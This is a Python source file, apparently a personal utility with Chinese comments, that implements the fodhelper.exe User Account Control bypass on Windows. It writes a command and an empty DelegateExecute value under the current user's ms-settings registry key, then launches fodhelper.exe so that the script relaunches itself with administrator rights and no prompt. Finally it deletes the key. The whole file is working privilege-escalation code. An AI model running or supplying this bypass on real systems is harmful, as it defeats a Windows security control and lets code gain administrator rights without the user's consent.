# -*- coding: utf-8 -*-
"""
Created on Mon Jan  8 09:09:51 2018

@author: coordinate
"""
from __future__ import print_function
import os
import sys
import ctypes

if sys.version_info[0] == 3:  # get Python Version.
    import winreg as winreg
# else:
#    import _winreg as winreg  # py2 support.

CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = r'Software\Classes\ms-settings\shell\open\command'
D_REG_PATH = r'Software\Classes\ms-settings\shell\open'
DELEGATE_EXEC_REG_KEY = r'DelegateExecute'


def is_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


def create_reg_key(key, value):
    """
    Creates a reg key.  一次只创建一个Key。位置 = REG_PATH
    """
    try:
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)  # 创建 项
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)  # 路径(项) 名称（值） 保留 类型 值（数据）
        winreg.CloseKey(registry_key)  # 关闭 Key
    except WindowsError:
        raise


def del_reg_kay():
    """"""
    try:
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, D_REG_PATH, 0, winreg.KEY_WRITE)
        winreg.DeleteKey(registry_key, 'command')
    except:
        raise
    return


def bypass_uac(cmd):
    """
    Tries to bypass the UAC
    """
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)
    except WindowsError:
        raise


def _getUAC(func):
    if not is_admin():
        print('[!] The script is NOT running with administrative privileges')
        print('[+] Trying to bypass the UAC')
        try:
            current_dir = __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)
            os.system(FOD_HELPER)
            sys.exit(0)
        except WindowsError:
            sys.exit(1)
    else:
        func()
        # 这里添加我们需要管理员权限的代码
        # print(123344)
        # print('[+] The script is running with administrative privileges!')
        del_reg_kay()


if __name__ == '__main__':
    pass
    # _getUAC()
